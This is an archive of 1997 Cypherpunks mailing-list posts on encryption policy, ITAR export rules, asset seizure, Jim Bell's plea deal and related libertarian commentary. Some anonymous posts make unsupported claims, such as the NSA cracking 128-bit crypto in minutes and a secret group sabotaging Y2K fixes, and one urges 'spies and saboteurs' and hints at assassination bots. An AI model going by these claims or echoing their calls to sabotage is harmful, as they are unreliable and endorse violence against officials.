> > >enryption technology saying, "It would not take any twelve times the age of
> > >the universe to decrypt a 128-bit message.  Thirty-three minutes is more
> > >like it."

> Uh-huh.  Unless the Administration has granted a secret Executive Order
> repealing the Laws of Physics for the NSA, the above statement, if true,
> would imply one of the following things:
>
> 1. The NSA has a reversible computing machine with at least 2^128*128 bits
>    = 5.44*10^39 bytes = 4.95*10^27 TB of memory.
> 2. Their cracker changes the state of 2^128 bits in 33 minutes.
> 3. They have a quantum computer, or some alien technology, or something
>    else we know pretty much nothing about.

  This above is true when analyzed within the boundaries of current
cryptographical theory, but has about as much meaning as would the
discounting of Einstein's work by an old-school physicist.
  There was a rather bizarre post to the list a few months ago which
layed out a conceptual schematic of new research being done in the
area of encryption. Although the post was bizarre, the information
it provided was not. As a matter of fact, it seemed to be wider in
scope and more advanced in its application than the level currently
achieved by NSA and related covert government organizations.
  {And although the 33 minutes quote may lean toward bragging, it
is not off by much.}

  Research currently being done in the encryption field by those who
do *not* tell contains a smattering of new mathematical theory and
a significant quantity of analysis which is a close cousin to traffic
analysis. The result is that a person using _all_ of the security
and encryption capabilities of a strong crypto product is likely to
have secure communications, but if they neglect to perform even one
of the _minor_ security steps possible, then there is a crack in
their communication which can be expanded to a size large enough
to drive a tank through.
  LEA's are not battling to squelch the use of crypto that they
cannot readily break--they are battling to slow the growth of
strong encryption in order to maintain their current ability to
break encryption which is commonly thought to be secure.

D r . R o b e r t s
> ~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Craig Strickland <tgi@null.net>
Date: Tue, 29 Jul 1997 16:44:41 +0800
To: CypherPunks <cypherpunks@toad.com>
Subject: Re: Not a Logic-Newbie / Re: Queries from a Cyper-newbie?
In-Reply-To: <199707290236.EAA08713@basement.replay.com>
Message-ID: <3.0.3.32.19970729041243.034287ac@mail.emi.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:36 07/29/97 +0200, Anonymous <nobody@REPLAY.COM> wrote:
>At 18:24 07/28/97 -0700, Chris Avery <cavery@ccnet.com> wrote:
>>... What gets me is the blind arrogance with which govt "servants"
>>assume that their (even if legitimate) pursuit of crime somehow
>>excuses or justifies diminishing privacy rights for everyone else...

Unfortunately, you're doing exactly what the "servants" want you to.  You're 
falling for their [believable] lie that they "need" to diminish your rights 
in order to do their job in fighting crime.  This is a difficult issue to 
oppose, since it leads directly to the accusation "if you oppose the 
government's need to have the keys to your house, then you must support 
crime".  But, it makes you more manageable to the "servants" as they ever so 
slowly encroach on your rights until there's pitifully little remaining.

It's too easy to look at each "minor inconvenience" as the incremental and 
cumulative erosion takes place and say "what could the harm be in that?"  
Perhaps very little, but it's the end result that's important.

It's important to recognize that the crime-fighters are violating the laws 
that were put into place to protect the citizens from the government.  A 
trivial example is the "seizure laws" that have become popular recently in 
"cracking down on the drug problem".

Please note carefully that the Constitution specifically prohibits the 
seizure of property without due process.  The current "anti-drug" seizure 
laws have eliminated due process and are therefore, by definition, in direct 
violation of the Constitution.  They are unconstitutional, and (if the 
Judicial branch weren't also corrupted) would be struck down instantly upon 
the first attempt to enforce through the Courts.

Please next note carefully that each office-holder in this country swears an 
oath to uphold the Constitution, and note also that an attempt to violate or 
destroy the Constitution is defined as an act of treason.

Thus, the introduction, vote "aye" for, passing, and enforcing such "laws" 
are each acts of treason.

How far can you trust the law-makers and law-enforcers when THEY THEMSELVES 
are law-breakers?  It's not even inadvertent or accidental.  Those who draft 
bills to introduce such legislation are directly intending to "bypass" or 
"circumvent" the Constitution.  Translated from "servant speak", that means 
"oppose" the Constitution.

Another point not to miss is that the "seizure laws" created a potent and 
immediate conflict of interest.  Those that you trust to "protect and serve" 
you now have a strong financial incentive to abuse the seizure laws, since 
the "loot" goes directly to fill up departmental coffers.  Here in Florida, 
seizures of boats and aircraft are so common that they aren't mentioned on 
the news nor in the paper.  Small businesses are ruined as millions of 
dollars of capital equipment is seized by the very officers that are rewarded 
[promotions, bonuses, budget increases next year] for their actions.  We've 
seen many cases that were completely groundless, but no judge ever sees the 
[lack of] evidence.  The owners are almost never charged with any crime.  The 
"goods" are simply taken, and the officers walk away.  The end.

The voting public loves it because it's made the law enforcement tax burden 
lighter, and anything that cuts costs is acceptable, especially since "the 
only people being hurt are those evil drug lords".  Tell that to the pilot & 
owner of an airplane seized due to a single marijuana cigarette butt found in 
his cargo hold.  He wasn't charged, and there were more than 40 people that 
had access to his plane, including baggage handlers and maintenance crews.  
If there had been a Constitutionally-mandated trial, the evidence wouldn't 
have the slightest chance of reaching a conviction.  No drug history 
whatsoever, accurate FAA records and customer invoices, nothing.  No link 
between the pilot and the butt.  But, the illegal law "authorizes" the police 
to line their departmental pockets, while the aircraft loan is foreclosed and 
he's out of business.  A stupid result [from the government's point of view] 
since he's no longer going to be paying the taxes on the revenue his business 
generated, and his unemployed former employees don't pay theirs.

Just the kind of abuse that was envisioned when the Constitution was being 
drafted.  Privacy is one of the fundamental links in the ability of citizens 
to protect themselves from a government that becomes too powerful and too 
abusive.

>... one of the
>major reasons for the erosion of our civil rights is usurpment of
>them by civil servants. In effect, the "servants" have armed themself
>and taken over control of the manor from its owners--their "masters."
>
>  "Legitimate needs" seem to have usurped "legitimate rights."

Absolutely!  Very well put.

	Our Founding Fathers did not create our civil liberties -- the
	very heart and soul of our personal and national lives. They
	secured those liberties. They safeguarded them. This Bill of
	Rights is our guarantee of freedom.

The "servants" would have you believe that the Federal Government "created" 
the rights that you have [what's left of them, anyway].  Moreover, that those 
rights are equally subject to suspension/revocation at the government's whim. 
 Rather like when a parent "grounds" their child.  Don't fall for it.

- --
Internet:  tgi@null.net                   Physical:  26 11'46"N  80 14'20"W
Web:       http://pobox.com/~tgi/         Amateur:   KE4QJN
PGP Key:   Available from key server: pgp-public-keys@pgp.mit.edu
           Fingerprint: E6 E1 25 DE 7C 6F 34 CD  E7 75 ED 21 7E 45 6E D7

"Our task of creating a socialist America can only succeed when those who
would resist us have been totally disarmed."  Sara Brady, Chairman, Handgun
Control, to Sen. Howard Metzanbaum, The National Educator, January 1994,
Page 3.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEPAwUBM92l2TOTF4+oUwAJAQFUxwfPbHaSbexYKZcm6CFm0tbvuxAEQp3reI02
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pCO5qJa2Pt+2kK5t8YUlPdxzMNx5GrCw8iycLL1T8sMQ7g==
=w+8b
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Craig Strickland <tgi@null.net>
Date: Tue, 29 Jul 1997 16:51:38 +0800
To: CypherPunks <cypherpunks@toad.com>
Subject: Re: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <3.0.3.32.19970729042336.0341fca0@mail.emi.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:10 07/28/97 -0700, Bill Stewart <stewarts@ix.netcom.com> wrote:
>At 03:24 PM 7/27/97 -0600, Guillotine <guill@xmission.com> wrote:
>>The encryption algorithm,
>>using a symmetrical is going to be as strong as legally allowed, 
>
>There are no legal restrictions on cryptography strength in the US;
>only restrictions on what's exportable, and even then you need permission. 

This triggered a thought that may have already been discussed, but I thought 
I'd throw it out anyway.  Since the export of cryptography = munitions, what 
happens if I write an application that's the "shell", and contract with a 
national and resident of a foreign country to write the crypto module.  I do 
not export the crypto technology other than sending them a printed book 
(which Phil Karn's filing determined was exportable as a non-munition).

I then retail the software as a 2-component system (distantly like PGP 2.6.3i 
could have been) on the web.  FTP the "shell" from my domestic site, and FTP 
the "crypto" from the foreign site.  Both install to make the seamless 
finished product.

Anyone seen anything in ITAR addressing such a hiring arrangement?

I'm not planning it, just spewing hypotheticals that tickle my curiosity.
- --
Internet:  tgi@null.net                   Physical:  26 11'46"N  80 14'20"W
Web:       http://pobox.com/~tgi/         Amateur:   KE4QJN
PGP Key:   Available from key server: pgp-public-keys@pgp.mit.edu
           Fingerprint: E6 E1 25 DE 7C 6F 34 CD  E7 75 ED 21 7E 45 6E D7

"Our task of creating a socialist America can only succeed when those who
would resist us have been totally disarmed."  Sara Brady, Chairman, Handgun
Control, to Sen. Howard Metzanbaum, The National Educator, January 1994,
Page 3.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
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iQEPAwUBM92ogjOTF4+oUwAJAQHEgwfQowZom4T10sze3yBMVvY+7PpS4/KPGY5F
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CR1KlvKr16z+ybwryOm3ElJCtvuMquaA0EcG84Ddqv+z6XQCMSji8lib2h6FGgoU
IXlix4XbPZGMvDw8ne/3E7Ias/U88L12SHkHIJJdA2otZmSlx+pw5LCsnbPPuOyg
ZrfXukQewo+nVpfzEPViUrvfq5n/1NgqRuddLRtrBDtmW/oUBRGMjZRREfU4LbmZ
/RCXeFe92EME4o0UBY1jwmrzzLy/93wcW50FRhqnGorI7w==
=3w14
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 10:49:34 +0800
To: cypherpunks@toad.com
Subject: Not a Logic-Newbie / Re: Queries from a Cyper-newbie?
Message-ID: <199707290236.EAA08713@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Chris Avery wrote:
> 3. I'll do the www.crypto.com thing, thanks for the pointer. This may be a critical
last stand on the privacy of communications issue. What gets me is the
blind arrogance
with which govt "servants" assume that their (even if legitimate)
pursuit of crime
somehow excuses or justifies diminishing privacy rights for everyone
else. 
  There must be some kind of ratio: 1,000,000 rights diminished for  1
criminal 
activity detected?  Doesn't make sense.

  Don't worry about being a "Cypher-newbie" (even if you did spell it
wrong in the subject header). You can always learn the "numbers" and
the "terms," but at least you don't seem to fall into the category of
being a "Logic-newbie" or a "Common-sense-newbie," which is far from
uncommon in new (and some of the older) list members.
  As a matter of fact, I don't believe I've seen a post by any of the
cypherpunks list members which so simply points out that one of the
major reasons for the erosion of our civil rights is usurpment of
them by civil servants. In effect, the "servants" have armed themself
and taken over control of the manor from its owners--their "masters."

  "Legitimate needs" seem to have usurped "legitimate rights."
  All of a sudden, we are required, at gunpoint, to eat our meals only
at times which conveniently fit into the "servant's" schedule. Next,
we find out that the servants "don't do windows." Then we find out
that the servants need to sleep in the "big bedroom" because they
work so much harder than us, and that we have to sleep in the barn
because they need the servant's quarters for other "legitimate needs."
  The "tail" of government is wagging the "Bull Mastiff" of our
Constitutional rights and freedoms.

  Please continue to follow the cypherpunks list, as there is a decided
shortage of individuals left in society who are capable and willing to
understand the importance of true privacy, rights and freedom. There is
no disgrace in having been round-up and penned with the rest of the
sheeple, but it is a sad day, indeed, when we fail to keep an eye open
for a "gate" inadvertantly left open, so that we can graze on the open
range when circumstances permit.
{And if the gatekeeper happens to bend over in a position that places
his/her head close to your hooves...}

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 29 Jul 1997 18:12:09 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
Message-ID: <19970729065101.25863.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Re: NSA leak (fwd)

From: h_tuttle@rigel.cyberpass.net

> Terawatts for a few microseconds is fairly standard technology, I 
> believe.  Femtosecond laser pulses driven by *very* large capacitor 
> banks... 

I'm talking continuous generation - sustained for half an hour...
 
> > Terrestrial fusion is not a serious contender yet, and I doubt
> > it will be for a long time.
> 
> It's easy to generate lots of power through fusion.  The problem is 
> confinement. 

I'm still talking continuous generation - we'll leave out the H-bombs.
And of course I agree confinement is a major problem.

Last I heard from the cutting edge (early '90s) you could get
2MW out of a fusion reactor, but that was less than you put in
to start it up.  That was using Deuterium, being gentle in order
to preserve the reactor.  Predictions were that using D-T would
break even.  Even that isn't anywhere near a commercial scale
generator.

You know of better results ?    There certainly are a number
of approaches, but I think I'd know if commercial fusion reactors
were working.

Are you ready to take this off-list ?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Macfarlane <dmac@bway.net>
Date: Tue, 29 Jul 1997 20:38:25 +0800
To: Craig Strickland <cypherpunks@toad.com
Subject: Re: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <33DDE125.7DE1@bway.net>
MIME-Version: 1.0
Content-Type: text/plain



Craig Strickland wrote:
[snip]
> I then retail the software as a 2-component system (distantly like PGP 2.6.3i
> could have been) on the web.  FTP the "shell" from my domestic site, and FTP
> the "crypto" from the foreign site.  Both install to make the seamless
> finished product.
> 
> Anyone seen anything in ITAR addressing such a hiring arrangement?

My memory is a bit foggy on this one, but didn't the gov't ask 
Netscape (and others?) to stop producing programs with the hooks
for strong encryption in them, in spite of the fact that they 
did _not_ provide that strong encryption?  It was pretty weird
at the time, and hard to believe, but the discussions it 
generated then should be in the archives somewhere.

On the other hand, the political climate wrt ITAR is changing,
so you may not have to go to such lengths in the near future.

dmac@bway.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:10:27 +0800
To: cypherpunks@toad.com
Subject: Re: y2k problem *serious*
Message-ID: <199707290640.IAA04623@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vladimir Z. Nuri wrote:
>
> some people have talked about the y2k problem here, the
> "year 2000 problem". as programmers know, is the
> name given to the glitches that are caused by software
> malfunctioning because it only used 2 characters for the
> date field.
...
>  some recent new data and analysis by someone
> named Gary North causes me to rethink my position.
> it's somewhat alarmist, but he's got some excellent evidence.
> he believes the year 2000 problem is vastly more serious
> than anyone has realized. he thinks it may even lead to
> bank panics and instabilities in the entire worldwide
> economic system.

  There is an underground computer organization in place which is
actively working toward sabotaging government and corporate efforts
to resolve the Year 2000 problems. They began coordinating their
efforts in 1990, almost a decade before the powers-that-be will
finally get around to recognizing the need to definitively move
on the matter in a major way.
  In essence, the goals of the organization have been to promote
the most unwieldy, unworkable and inefficient solutions possible
to the Year 2000 programming problems which exist on various
platforms. It was forseen that the problem would be a weak point
in the New Electronic World Order that could be effectively used
to inject chaos and diversion into the plans of the secret world
governments to turn the Internet into a tool of government and
corporate fascism.

  The end goal is to be able to manage a breakdown of the current
world-power structure in a manner that will allow society to be
able to survive and continue, while shifting the source of power
and control to the innovative individuals and organizations who
are able to adapt and evolve in the InterActive Electronic Age
of Communication.
  The problems of creeping fascism are closely related to the
problems that result from statism. Even anarchist recognize the
need for social order and contracts, but not at gunpoint--not
in a static system which results in the rich getting richer and
the strong getting stronger.
  A controlled breadown of existing systems will prevent the
stifling of our freedom to grow and evolve by those whose interests
lie in crushing innovation and evolutionary progress. It will give
those who have the capacity to adapt and survive an edge in the
development of the evolving Age of Information.

  We are on the threshold of the dawning of a New Age which will
be every bit as world-changing as the Industrial Revolution. It is
up to each of us, as individuals, to choose whether we will attempt
to cling blindly to the past or stride boldly into the future.
  The criminals who are currently in power are a danger to our lives
and our freedom. Their interest lies in maintaining the currently
prevailing power structures, and in stifling and oppressing those
ideas and individuals who threaten their hold on the reigns of
power.
  There is a need for spies and saboteurs who are capable of working
on their own, or in small cells, to disrupt the attempts of the
fascists, the censors, the power-grabbers, to define, rate and
censor, to control and manipulate world markets and currencies,
to monitor all activities and communications and suppress those
who would think or act in ways which are contrary to the goals
of the New Electronic World Order.

  The "Digital Revolution" began almost a decade ago, regardless of
when "Wired" copyrighted the phrase.
  Feel free to join the revolution and do your part to change the
course of history. Government and Corporate fascism is much like
configurable software--it "defaults" to certain settings, but the
more individuals who customize it to meet their own needs, then
the more those who produce that software will have to strive to
meet the legitimate needs of the *users* in order to retain their
votes/market-share, instead of requiring the users to bend to
meet the "legitimate" needs of the Fa$cists and Ca$h Cow$.
  Your rights and freedoms are your inheritance. Will you allow them
to be sold for a "bowl of pottage?"

Bubba Rom Dos
'0' if by land. '1' if by sea. 'NULL' if by air.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Tue, 29 Jul 1997 17:13:50 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: NYTimes: Disappearing Cryptography
Message-ID: <199707290900.DAA22235@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    _________________________________________________________
    Forwarded to you by Attila T. Hun <attila@hun.attila.org>

July 29, 1997
Giving Away Secrets
By PETER WAYNER
NYTimes OpEd 

BALTIMORE -- Internet hype can turn age-old problems
into new grave threats.  The biggest tempest may be
the concern over the use of encryption, or secret
codes, to scramble information sent over the Internet
and other computer networks.  The use of codes may
thrill people who want to protect the business plans
on their office computers and the love letters they
send by E-mail.  But it worries the Director of the
Federal Bureau of Investigation, Louis J. Freeh, and
other law-enforcement officials.

Mr.  Freeh is right to be concerned that encryption
can limit the ability of law enforcement to gather
electronic evidence from wiretaps and court-ordered
searches.  But he was wrong when he recently told the
Senate Judiciary Committee that "technology and
telecommunications well beyond the contemplation of
the Framers" will bring "a terrible upset of the
balance so wisely set forth in the Fourth Amendment."
In other words, he envisions the balance tipping
against the police, because they will have more
difficulty conducting reasonable searches if more of
the information they are seeking is encrypted.

Yet cryptography wasn't beyond the contemplation of
the Framers, because many of them were skilled code
makers and code breakers themselves.  David Kahn's
book "The Codebreakers" tells how codes have affected
history for more than 3,000 years.  According to Mr.
Kahn, George Washington had to deal with the problem
when a coded message was intercepted in August 1775
from Benjamin Church, a member of the Massachusetts
Congress who was a spy for the British.  The message,
which was finally deciphered, told the English details
of American troop movements.

As Mr.  Kahn reveals, both sides in the Revolutionary
War made extensive use of encryption.  Benedict Arnold
designed the complex code that he used to sell out his
country.

James Lovell of the Continental Congress helped win
the war by breaking the codes used by General
Cornwallis.  After the war, Thomas Jefferson and James
Madison communicated in their own private code.  And
Benjamin Franklin devised his own cipher for sending
dispatches from Europe.

Yet in writing the Bill of Rights, the Founders did
not forbid cryptography, even though they knew how
powerful a tool it could be.  Nor did they suggest
that the police be able to obtain the plain text of a
coded message.  But that could happen under a measure
sponsored by Senator Bob Kerrey of Nebraska, a
Democrat, and Senator John McCain of Arizona, a
Republican.  Under their bill, the key to any code
used to scramble information sent on the Internet
would have to be given to the proper authorities.  The
Clinton Administration supports similar measures.

James Bamford, in "The Puzzle Palace," describes how
the F.B.I.  broke the case of the gangsters who were
communicating without phone calls or letters.  Agents
discovered that the gangsters sent their shirts to Las
Vegas to be dry cleaned -- and that the number of
shirts held the coded message.  No ban on cryptography
on the Internet will be able to thwart creative crooks
like these, but diligent police work can find cracks
in the armor.  This is why the National Research
Council has recommended that Congress invest in
research to help the F.B.I.  better understand
computers and codes.

The F.B.I.  faces a daunting task.  Encryption makes
it impossible for agents to gather all the evidence
they would like.  But the answer is not to regulate,
and in effect destroy, the use of coded messages.
Criminals would probably find a way around the rules,
and the rest of us could lose a powerful tool for
protecting our privacy.

Peter Wayner is the author of "Disappearing
Cryptography."

       _____________________
        End forwarded message
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM92xDL04kQrCC2kFAQE+qQP/WIO0Mj/GX5ANiyq2ekCbOiN1lfYKl/MN
H6/X0TdHIEpcmZipTzxuC4UOQ4rR7XUOXRneDSiLBS+OEFCRGlm85/o8/dTWgRsG
lMVF0SDR44GwONBik2sH1rV4b3m+GUzvTGvPIBkybjU2wSfZUrwSQALeRuvxkABq
8C5sJ6waEV4=
=SLL5
-----END PGP SIGNATURE-----
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:55:29 +0800
To: cypherpunks@toad.com
Subject: Prior Restraint
Message-ID: <199707290718.JAA08751@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  "In a stunning rebuke to overzealous prosecutors," reports the New
York-based National Coalition Against Censorship, the owner and manager
of
the store called simply Newstand, in Bellingham, Wash., have been found
not
guilty and awarded $1.3 million "for prior restraint and for retaliatory
prosecution" by a U.S. District Court jury in Seattle.

  Ira Stohl and Kristina Hjelsand had been charged with obscenity for
selling the controversial magazine "Answer Me!" a short-lived but
legendary
periodical that offered extremely politically incorrect articles about
rape, among other subjects.

  The NCAC earlier reported the owners of Newstand rejected an offer
from
the prosecutor to drop criminal charges in return for a promise not to
carry further issues of "Answer Me!" or "anything remotely similar."

  Instead, the freedom fighters displayed the magazine in their store,
chained, under lock and key.

  The jury found that the troglodytes in charge of Whatcom County had
violated Stohl and Hjelsand's First Amendment rights, caused emotional
suffering, and damaged their business.

  Censorship News, the quarterly newsletter of the NCAC, is published
out
of 275 Seventh Ave., New York, N.Y. 10001, e-mail ncac@netcom.com, web
page
http://www.ncac.org.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The
web
site for the Suprynowicz column is at http://www.nguworld.com/vindex/.

***


Vin Suprynowicz,   vin@lvrj.com

Voir Dire: A French term which means "jury stacking."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:41:44 +0800
To: cypherpunks@toad.com
Subject: Libertarians for whom Jim Bell tolls...
Message-ID: <199707290721.JAA09125@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vin Suprynowicz wrote: 
>     FROM MOUNTAIN MEDIA
>     THE LIBERTARIAN, By Vin Suprynowicz
>     Three-way race in New Jersey, tax resister faces five years
> 
>     Dr. Murray Sabrin, talk show host, professor of finance at Ramapo
> College in Mahwah, N.J. and author of the book "Tax Free 2000,"  says he
> may be able to do something no other Libertarian can do in 1997: Appear in
> a nationally televised debate.
> 
>   "If we raise $210,000 by August 31 we are in the debates. No commissions,
> no review boards -- it's a matter of law," reports Libertarian nominee
> Sabrin.
>    "With over $50,000 raised in funds and pledges, we're about 25 percent
> of the way there. ..."
>       #  #  #
>   Forwarded from http://www.infowar.com comes this government report:
> 
>   "United States Attorney Kate Pflaumer announced that JAMES DALTON BELL,
> 39, pleaded guilty today in the federal court in Tacoma to two felony
> charges. BELL, a resident of Vancouver, Washington, pleaded guilty to
> obstructing and impeding the Internal Revenue Service (IRS), and to falsely
> using a Social Security number with the intent to deceive. ...
> 
>   "The charges stem from an investigation initiated in October, 1996 by IRS
> Internal Security Inspectors into reports that BELL was gathering the names
> and home addresses of IRS employees. ...
> 
>   "In the eight page plea agreement signed by BELL, he acknowledged that he
> had gathered the names and addresses of the IRS employees in order to
> intimidate them in the performance of their official duties.
> 
>   "During the course of their investigation, IRS Inspectors discovered that
> BELL was advocating a scheme called "Assassination Politics", whereby
> persons would be rewarded with "digital cash" for killing certain
> undesirable people. BELL identified these undesirables as government
> employees, such as IRS employees, who would be intimidated from enforcing
> internal revenue laws for fear of being assassinated. In the plea
> agreement, BELL admitted that he suggested using "Assassination Politics"
> as an enforcement mechanism for the "Multnomah County Common Law Court",
> and that this was part of his effort to obstruct and impede the enforcement
> of internal revenue laws. ...
> 
>   "In the plea agreement, BELL also admitted that on March 16, 1997, he
> conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
> Washington, using the noxious chemical mercaptan. ...

  This is interesting, since they had no evidence that he did so.
However, they managed to get him to "confess" by illegally holding
without bond for crimes which they never intended to charge him with
in the first place.
  I hope that Jim's lawyer is suitably rewarded for his part in selling
Jim down the river.

>   "IRS Inspectors indicated that the mercaptan attack may have been linked
> to the Feb. 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

  In effect, they are saying that since they didn't have any evidence
against Jim for the crime that they wanted him to "pay" for, that they
used the threat of major criminal charges to convince him to "confess"
to the crime, and held him without bail to let him know that the Justice
system is under the control of the IRS, and not the defendant.

>   "As part of the plea agreement, BELL also admitted that he used several
> different social security numbers in order to hide assets from the IRS ...
> to prevent the IRS from levying his wages.  ...
> 
>   "BELL faces a maximum sentence of three years in prison and a $250,000
> fine for the obstruction charge, and five years and a $250,000 fine for
> using a phony Social Security number."
> 
>   It appears Bell was held without bond until he signed.

  Probably more effective than beating him with a rubber hose.
 
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The web
> site for the Suprynowicz column is at http://www.nguworld.com/vindex/. The
> column is syndicated in the United States and Canada via Mountain Media
> Syndications, P.O. Box 4422, Las Vegas Nev. 89127.
> 
> ***
> 
> Vin Suprynowicz,   vin@lvrj.com
> 
> Voir Dire: A French term which means "jury stacking."

Vin,
  Did you know that the IRS used the information gleaned from Jim Bell's
hard drive to send the "chilling" details of Jim Bell's plea agreement
to the individuals and mailing lists he corresponded with?
  Did you know that when he arrested, there were no Assassination Bot's
in existence, and that there are now at least six prototypes currently
in operation?

  God Bless AmeriKa.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 15:42:21 +0800
To: cypherpunks@toad.com
Subject: Guns, Roses & Tobacco
Message-ID: <199707290722.JAA09290@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  Meantime, taking their cue from the Tobacco Nazis, the city of
Philadelphia is trying to figure out how to sue gun manufacturers for
their
crime rate -- 414 homicides last year, according to conservative
gabmeister
Rush Limbaugh. "Expect the arguments to focus on how unsafe guns are,
the
lack of warning labels, the lack of formal training programs, etc." ...
rather than simply improve public safety by legalizing concealed
"Vermont
carry."

  The notion that gun manufacturers can be sued for manufacturing a
faulty
product is somewhat bizarre, of course, if the product (rather than
blowing
up in the user's hand, say) did precisely what it was intended to do.

  If America's socialist mayors and city councils are going to play this
brand of roulette, at least the odds should be evened. Why don't the
firearms manufacturers go ahead and offer to pay the municipalities,
say,
$500,000 for every innocent citizen killed by one of their products
(except
by the government's own police, of course) ... if the municipalities, in
turn, will pay them $500,000 every time one of their weapons is used (by
either police or commoner) to kill, wound, or drive away an intended
rapist, robber, burglar or murderer ... or tax collector or other
government agent acting in excess of his or her constitutionally
delegated
powers -- the main purpose for which the founders wanted to guarantee we
had such instruments of liberty, in the first place.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com.

***


Vin Suprynowicz,   vin@lvrj.com

Voir Dire: A French term which means "jury stacking."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 29 Jul 1997 22:03:35 +0800
To: dmac@bway.net
Subject: Re: New Crypto Application
In-Reply-To: <33DDE125.7DE1@bway.net>
Message-ID: <199707291350.JAA03303@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



David Macfarlane writes:

> My memory is a bit foggy on this one, but didn't the gov't ask 
> Netscape (and others?) to stop producing programs with the hooks
> for strong encryption in them, in spite of the fact that they 
> did _not_ provide that strong encryption?

The story was that NSA had asked the NCSA folks to remove the
PEM/PGP hooks in their web server source.  See, for example,
    http://consult.ncsa.uiuc.edu/docs/httpd/Upgrade.html


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 30 Jul 1997 01:24:49 +0800
To: cypherpunks@toad.com
Subject: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News
Message-ID: <Pine.GSO.3.95.970729100418.25915E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 29 Jul 1997 10:03:46 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News


-----

http://pathfinder.com/netly/opinion/0,1042,1222,00.html

The Netly News (http://netlynews.com/)
July 29, 1997

This Boy-Lover's Life
by Declan McCullagh (declan@well.com)
   
        Anne Cox is nothing if not determined. For months the
   Net-vigilante has been unwavering in her crusade against pedophiles,
   undaunted by insults, threats and even the "horrible things" done to
   pictures of her as a baby that she had digitized and placed online.
   She fought back with just about every possible tactic: argument,
   public humiliation and sometimes-spurious threats of legal action.
   
        Now, the war is escalating.
   
        It started in May, after Cox launched an assault on "boy-lover"
   web sites in an attempt to force them offline. But she and her allies
   ran into a serious obstacle: the sites aren't illegal. They're filled
   not with child pornography -- which is banned by federal law -- but,
   instead, photos of boys in swimsuits. "They shouldn't be doing these
   things with the children's pictures," Cox says.

[...]

        Some argue that Cox and her allies have gone too far. Besides
   boy-pix sites, this team of Net-vigilantes has attacked a group of gay
   teens organizing "to fight against" discrimination. They've tried to
   take down a consensual spanking page for gay adults, and even an
   archive of sexually-explicit stories that specifically rejects tales
   about pedophilia. Then there's the murky Children's Protection and
   Advocacy Coalition, which Cox claims to run -- yet she refuses to name
   its member organizations.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 30 Jul 1997 01:35:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: y2k problem *serious*
In-Reply-To: <199707290640.IAA04623@basement.replay.com>
Message-ID: <Pine.LNX.3.95.970729101319.23999A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Anonymous wrote:

>   There is an underground computer organization in place which is
